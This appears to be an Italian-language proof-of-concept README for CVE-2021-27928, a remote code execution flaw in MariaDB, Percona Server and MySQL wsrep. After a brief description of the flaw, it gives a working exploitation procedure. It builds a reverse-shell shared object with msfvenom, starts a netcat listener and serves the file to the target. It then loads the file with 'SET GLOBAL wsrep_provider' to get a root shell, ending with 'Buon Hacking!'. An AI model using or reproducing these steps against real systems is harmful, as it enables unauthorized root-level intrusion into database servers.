shamo0/cve-2021-27928-pocCVE-2021-27928-POC
È stato scoperto un problema di esecuzione remota di codice in MariaDB 10.2 precedente alla 10.2.37, 10.3 precedente alla 10.3.28, 10.4 precedente alla 10.4.18 e 10.5 precedente alla 10.5.9; Percona Server fino al 2021-03-03; e la patch wsrep fino al 2021-03-03 per MySQL. Un percorso di ricerca non attendibile porta a un'iniezione eval, in cui un utente SUPER del database può eseguire comandi del sistema operativo dopo aver modificato wsrep_provider e wsrep_notify_cmd. NOTA: questo non interessa un prodotto Oracle.
Creiamo il nostro payload con Msfvenom. Per il nostro payload useremo /linux/x64/shell_reverse_tcp con il nostro IP per LHOST e il numero di porta per LPORT. Specificheremo anche il tipo di file con -f, che nel nostro caso è elf-so. E salveremo il file di output come CVE-2021.27928.so con l'opzione -o.
msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf-so -o CVE-2021-27928.so
Il nostro payload è pronto! Configuriamo netcat come listener sulla porta specificata.
Spostiamo il nostro file sulla macchina di destinazione. Per questo possiamo usare il metodo che preferiamo. Io userò il server http di python.
Salviamo il file nella directory /tmp
Ora dobbiamo accedere al database e impostare wsrep_provider sul nostro payload caricato.
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";
È il momento di controllare il nostro listener. Se abbiamo avuto successo, dovremmo aver ottenuto una shell di root sulla macchina!
Buon Hacking!
